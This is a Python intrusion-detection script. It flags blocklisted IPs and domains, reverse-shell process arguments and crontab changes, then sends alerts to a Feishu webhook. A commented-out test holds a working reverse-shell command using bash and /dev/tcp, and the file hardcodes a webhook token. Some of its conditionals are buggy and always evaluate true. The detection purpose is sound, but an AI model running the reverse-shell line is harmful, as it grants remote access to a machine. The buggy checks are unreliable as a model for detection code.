import os
import re
import xlwt
import requests
import json
import threading
import redis
import hashlib

# def write():
#     f = open('/home/a/ou/filter/vncrfb.txt', 'r', encoding='utf-8')
#     wb = xlwt.Workbook(encoding='utf-8')
#     ws1 = wb.add_sheet('second')
#     ws1.write(0, 0, 'ASN')
#     ws1.write(0, 1, 'ASname')
#     ws1.write(0, 2, 'ipaddr')
#     ws1.write(0, 3, 'lastseen')
#     ws1.write(0, 4, 'category')
#     row = 1
#     col = 0
#
#     k = 1
#     for lines in f:
#         if lines[0] != '#':
#             a = lines.split('|')  # txt文件中每行的内容按逗号分割并存入数组中
#             k += 1
#             for i in range(len(a)):
#                 ws1.write(row, col, a[i])  # 向Excel文件中写入每一项
#                 col += 1
#             row += 1
#             col = 0
#
#     wb.save('vncrfb.xls')


pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True)
r = redis.Redis(connection_pool=pool)


def tcp(data):
    addr = data['daddr']
    if r.sismember('ip', addr):
        warning('IP', addr, '', '', '', '')
    # print(pool[0])
    # print(data)


def dns(data):
    domain = data['domain name']
    if r.sismember('dns', domain):
        warning('DNS', domain, '', '', '', '')


def exe(data):
    argv = data['argv']
    comm = data['comm']
    pid = data['pid']
    ppid = data['ppid']
    print(comm, pid, ppid, argv)
    # print(data)
    if comm == 'sh':
        if re.search('/bin/bash', argv):
            warning('shell', '0', pid, ppid, comm, argv)
        if re.search('/dev/tcp', argv):
            warning('shell', '0', pid, ppid, comm, argv)
        if re.search('/tmp/crontab', argv):
            warning('cron', '0', pid, ppid, comm, argv)
    if comm == 'ncat' or 'nc':
        if re.search('/bin/bash', argv):
            warning('shell', '0', pid, ppid, comm, argv)
    if comm == 'crontab':
        warning('cron', '0', pid, ppid, comm, argv)


stable = 0


def getcron(data):
    global stable
    if data:
        md5 = hashlib.md5(data.encode('utf-8'))
        # md5.update()
        if stable == 0:
            stable = md5.hexdigest()
        elif stable != md5.hexdigest():
            warning('cron0', '', '', '', '', '')
            stable = md5.hexdigest()
    # for line in temp:
    #     print(line)


def warning(situation, data, pid, ppid, comm, argv):
    headers = {'Content-Type': 'application/json'}
    result = json.dumps({'msg_type': 'text', 'content': {"text": "request example"}})
    if situation == 'IP' or 'DNS':
        result = json.dumps({'msg_type': 'text', 'content': {"text": '警告： ' + data + ' 为恶意 ' + situation}})
    if situation == 'shell':
        result = json.dumps({'msg_type': 'text', 'content': {"text": '警告： ' + '进程中存在反弹shell\n' + 'pid: ' +
                                                                     str(pid) + '\n当前进程为： ' + comm
                                                                     + '\nppid: ' + ppid +
                                                                     '\n具体参数: ' + argv}})
    if situation == 'cron':
        result = json.dumps({'msg_type': 'text', 'content': {"text": '警告： ' + 'crontab文件被修改 可能存在持续反弹shell 需要进行安全检测'
                                                                     + '\npid: ' + str(pid) + '\n当前进程为： ' +
                                                                     comm + '\nppid: ' + ppid + '\n具体参数: ' + argv
                                                             }})
    if situation == 'cron0':
        result = json.dumps({'msg_type': 'text', 'content': {"text": '警告： ' + 'crontab文件被修改 可能存在持续反弹shell 需要进行安全检测'}})
    r = requests.post('https://open.feishu.cn/open-apis/bot/v2/hook/c65d1d40-ee7d-4cdd-b2dd-afe3843bdcee',
                      headers=headers,
                      data=result)

# if __name__ == '__main__':
#     # write()
#     exe({'argv':'bash -i </dev/tcp/192.168.163.134/8886 >%0 2>%0', 'comm': 'sh', 'pid': 3407, 'ppid':'3410'})
#     test()
# warning()
